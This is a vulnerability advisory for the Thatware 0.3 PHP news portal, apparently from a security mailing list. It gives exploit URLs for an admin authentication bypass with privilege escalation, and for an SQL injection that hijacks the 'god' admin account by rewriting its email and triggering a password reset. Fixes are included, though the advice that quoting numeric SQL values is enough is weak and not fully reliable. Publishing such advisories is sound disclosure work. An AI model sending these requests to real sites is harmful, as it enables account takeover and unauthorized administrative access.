Summary

The security vulnerabilities in Thatware allows attacker to gain
administrative access to the application. Thatware is a news
portal administration, open source, and freely downloaded at: 

http://www.atthat.com/


Vulnerable systems

  Thatware 0.3 


Exploit 1:

If we send it

  http://site/admin.php3?user=anyone

the script will give $auth_rights = FALSE and goes on to:

  if (sizeof($auth_rights)>0) {
     $admintest=1;

This will succeed and open access to all functions in admin.php3. 
It is caused by the fact that sizeof($x), where $x is a variable 
that is set but is not an array, returns 1. 

The following exploit will elevate 'someuser' status to admin:

  http://site/admin.php3?user=anyone&op=AddAdmin
  &add_root=&add_uname=someuser

Fix:

For a quick fix, simply rename admin.php3. And for those who might 
think security through obscurity is not quite enough, well, we
should get into the code. 

In auth.inc.php3, use conditional to check if $admin[0] dan 
$admin[2] are empty (null or zero) before sending a query, e.g.

  if (empty($admin[0]) || empty($admin[2])){exit;}

then replace 

  if (sizeof($auth_rights)>0) 

with 

  if (!empty($auth_rights))

Anyway, these won't defend us against another form of exploit.


Exploit 2:

Unquotted variables from user input parsed directly into SQL 
statements provide a way to the second exploit. For example, in 
user.php3, under function saveuser():

  update users_info set name='$name', email='$email',
  femail='$femail', url='$url', bio='$bio' where uid=$uid

The attacker could hijack e.g. 'god' admin account by first sending 
it:

  http://site/user.php3?op=Save%20User&email=cracker@domain
  &uname=god&uid=blabla%20or%20uname%3Dchar(103,111,100)

that will alter email address to cracker@domain. Note that those 
numbers (103,111,100) are ascii sequence for 'god' (the attacker
cannot just put uname%3D'god' since PHP3/4 will quote it into 
uname=\'god\' which will produce an invalid SQL statement).

Now, simply by sending it

  htt://site/user.php?op=mailpasswd&uname=god

will alter the admin's password to a new password, then mail the 
new password to cracker's mailbox. Note: using the similar
method, Thatware 0.2 or below are vulnerable to users accounts
hijacking (admins' reside on the different table).

Fix:

Simply quote all numeric data in SQL statements. Instead of 
"select * from users where uid=$uid", use "select * from users 
where uid='$uid'". MySQL automatically converts this to a number 
and meanwhile strips all non-numeric symbols from it.


Fabian Clone (fabianclone@usa.net)




____________________________________________________________________
Get free email and a permanent address at http://www.amexmail.com/?A=1